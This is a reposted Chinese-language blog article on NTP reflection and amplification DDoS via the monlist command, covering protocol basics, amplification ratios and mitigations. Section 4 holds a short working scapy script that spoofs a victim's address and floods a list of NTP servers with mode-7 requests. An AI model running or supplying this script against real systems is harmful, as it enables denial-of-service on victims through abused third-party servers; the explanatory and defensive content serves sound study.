The Reflection And Amplification Attacks NTP Reply Flood Attack Based On NTP
目錄
1. NTP簡介 2. NTP協議格式 3. NTP Reflect反射漏洞和NTP協議的關系 4. 漏洞觸發的前提和攻擊需要的步驟 5. 針對漏洞的攻防思考?
1. NTP簡介
Network Time Protocol(NTP)是用來使計算機時間同步化的一種協議,它可以使計算機對其服務器或時鐘源(如石英鐘,GPS等等)做同步化,它可以提供高精準度的時間校正(LAN上與標準間差小于1毫秒,WAN上幾十毫秒),且可介由加密確認的方式來防止惡毒的協議攻擊。
NTP提供準確時間,首先要有準確的時間來源,這一時間應該是國際標準時間UTC。 NTP獲得UTC的時間來源可以是
1. 原子鐘 2. 天文臺 3. 衛星 4. 也可以從Internet上獲取這樣就有了準確而可靠的時間源。時間按NTP服務器的等級傳播。按照離外部UTC源的遠近將所有服務器歸入不同的Stratum(層)中
1. Stratum-1在頂層 有外部UTC接入 2. Stratum-2 從Stratum-1獲取時間 3. Stratum-3 Stratum-2獲取時間,以此類推Stratum層的總數限制在15以內。所有這些服務器在邏輯上形成階梯式的架構相互連接,而Stratum-1的時間服務器是整個系統的基礎。計算機主機一般同多個時間服務器連接, 利用統計學的算法過濾來自不同服務器的時間,以選擇最佳的路徑和來源來校正主機時間。即使主機在長時間無法與某一時間服務器相聯系的情況下,NTP服務依然有效運轉。
為防止對時間服務器的惡意破壞,NTP使用了識別(Authentication)機制,檢查來對時的信息是否是真正來自所宣稱的服務器并檢查資料的返回路徑,以提供對抗干擾的保護機制
RFC上關于NTP的簡介
http://www.rfc-editor.org/search/rfc_search_detail.php?title=NTP&pubstatus%5B%5D=Any&pub_date_type=any0x1: 基于NTP網絡協議的時間同步
Device A(client)和Device B(ntp server)通過網絡相連,它們都有自己獨立的系統時鐘,需要通過NTP實現各自系統時鐘的自動同步
1. 在Device A和Device B的系統時鐘同步之前,Device A的時鐘設定為10:00:00am,Device B的時鐘設定為11:00:00am 2. Device B作為NTP時間服務器,即Device A將使自己的時鐘與Device B的時鐘同步 3. NTP報文在Device A和Device B之間單向傳輸所需要的時間為1秒(實際的網絡延遲可能大于1秒) 4. Device A發送一個NTP報文給Device B,該報文帶有它離開Device A時的時間戳,該時間戳為10:00:00am(T1) 5. 當此NTP報文到達Device B時,Device B加上自己的時間戳,該時間戳為11:00:01am(T2) 6. 當此NTP報文離開Device B時,Device B再加上自己的時間戳,該時間戳為11:00:02am(T3) 7. 當Device A接收到該響應報文時,Device A的本地時間為10:00:03am(T4)
在整個NTP交互過程中,交互的節點雙方都可以得到T1、T2、T3、T4這幾個參數
1. NTP報文的往返時延: Delay= (T4-T1) -(T3-T2) = 2秒2. Device A相對Device B的時間差: offset= ( (T2-T1) + (T3-T4) ) / 2 = 1小時通過這4個參數的加減,我們會發現網絡的延時在傳輸過程中被"消除"掉了,通過"消除"得到了傳輸時差的2倍,然后除2,最后得到的就是兩個端點之間的時間差了
Relevant Link:
http://baike.baidu.com/view/60648.htm http://en.wikipedia.org/wiki/Network_Time_Protocol http://zh.wikipedia.org/wiki/%E7%B6%B2%E7%B5%A1%E6%99%82%E9%96%93%E5%8D%94%E8%AD%B0?
2. NTP協議格式
關于NTP網絡協議的協議格式的相關知識,請參閱另一篇文章
http://www.cnblogs.com/LittleHann/p/3837839.html //搜索:0x1: NTP網絡協議?
3. NTP Reflect反射漏洞和NTP協議的關系
要了解NTP放大攻擊,我們需要重點關注協議中的一個字段,"Mode"字段,這個字段表示這個NTP數據報的類型和用途,總共有7種mode
0: 未定義 1: 主動對等體模式 2: 表示被動對等體模式 3: 表示客戶模式 4: 表示服務器模式 5: 表示廣播模式或組播模式 6: 表示此報文為NTP控制報文(MODE_CONTROL) 7: 預留給內部使用(MODE_PRIVATE)而這當中的編號7的NTP報文,是專門預留給ntpdc(linux gnu下默認安裝的ntp client)使用的
ntpdc支持很多的指令
ntpdc -n -i time-a.nist.gov ntpdc> ?而這些命令中有一個存在風險的指令:monlist
Monlist指令,可以獲取與目標NTP Server進行過同步的最后600個客戶機IP //這意味著,一個很小的請求包,就能獲取到大量的活動IP地址組成的連續UDP包在這種情況,實際的攻擊效果是
1. 發送會回包比是1:73 2. 發送數據量和回收數據量是234bytes:73x482bytes 約等于 1:562 3. 10M的通信流量可以得到5620M的攻擊流量分析到這里,我們需要理解一個反射(relection)的概念,從本質上來說,反射攻擊和ip spoofing、mac spoofing是一個道理
1. 正常情況:client和server建立udp或者tcp同喜,數據在client和server之間傳輸 2. 反射攻擊情況下:攻擊者通過將數據包的源ip(source ip)偽造為受害者的ip,并發往server,對于server來說,這個數據報就是來自于受害者的數據包,于是server對這個數據包進行響應,并向受害者返回對應的應答數據包而UDP的無連接通信模式又更加劇了這個過程的簡單化,黑客可以直接以"無狀態的模式"向server發送大量的偽造包,而不用建立任何有效連接
黑客可以利用現在互聯網上的NTP Server進行反射DDOS攻擊,無形中,NTP Server的幫兇,在無意識中對受害者進行了大流量攻擊
Relevant Link:
http://chenjiji.com/post/3761.html http://blog.sina.com.cn/s/blog_459861630101b4wf.html http://www.douban.com/note/171309770/?
4. 漏洞觸發的前提和攻擊需要的步驟
NTP Reflect DDOS Attack這種漏洞的根源在于NTP Server服務器的配置漏洞,因此,這個漏洞觸發的前提,同時也是我們檢測機器是否存在這個漏洞的依據是
1. ntp.conf配置文件中是否開啟了`disable monitor`選項 2. 當前是否有程序在監聽 UDP 123 端口0x1: 測試POC
#!/usr/bin/env python # author: pangzi.me@gmail.comimport sys from scapy.all import *def attack(target, ntp_server):send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))if __name__ == "__main__":if len(sys.argv) != 3:sys.exit(1)target = sys.argv[1]ntp_server_file = sys.argv[2]for ntp_server in open(ntp_server_file, "r"):ntp_server = ntp_server.strip()if ntp_server != "":attack(target, ntp_server)0x2: NTP反射攻擊的相關案例
https://isc.sans.edu/forums/diary/NTP+reflection+attack/17300 http://openntpproject.org/ http://www.internetsociety.org/doc/amplification-hell-revisiting-network-protocols-ddos-abuse http://blog.cloudflare.com/technical-details-behind-a-400gbps-ntp-amplification-ddos-attack/ http://arstechnica.com/security/2014/01/new-dos-attacks-taking-down-game-sites-deliver-crippling-100-gbps-floods/ https://www.us-cert.gov/ncas/alerts/TA14-013A?
5. 針對漏洞的攻防思考
總結一下這種漏洞的本質原因,我們會發現
1. 此指令的不等價交換(1: 562的報酬) 屬于單條簡單指令可以得到大量回顯的指令2. UDP協議的通信模糊性(無三次握手驗證) 黑客可以以極低的成本發送偽造后的UDP攻擊數據包3. 以及NTP服務器的無認證機制 使得反射型DDos攻擊成為可能0x1: 修復/防御方法
1. 加固 NTP 服務1) 把 NTP 服務器升級到 4.2.7p262) 關閉現在 NTP 服務的 monlist 功能,在ntp.conf配置文件中增加`disable monitor`選項3) 在網絡出口封禁 UDP 123 端口2. 防御 NTP 反射和放大攻擊1) 由于這種攻擊的特征比較明顯,所以可以通過網絡層或者借助運營商實施 ACL 來防御2) 使用防 DDoS 設備進行清洗Relevant Link:
http://drops.wooyun.org/papers/926?
Copyright (c) 2014 LittleHann All rights reserved
?
轉載于:https://www.cnblogs.com/LittleHann/p/4072437.html
總結
以上是生活随笔為你收集整理的The Reflection And Amplification Attacks NTP Reply Flood Attack Based On NTP的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Eclipse中部署hadoop2.3.
- 下一篇: 警惕使用WebClient.Downlo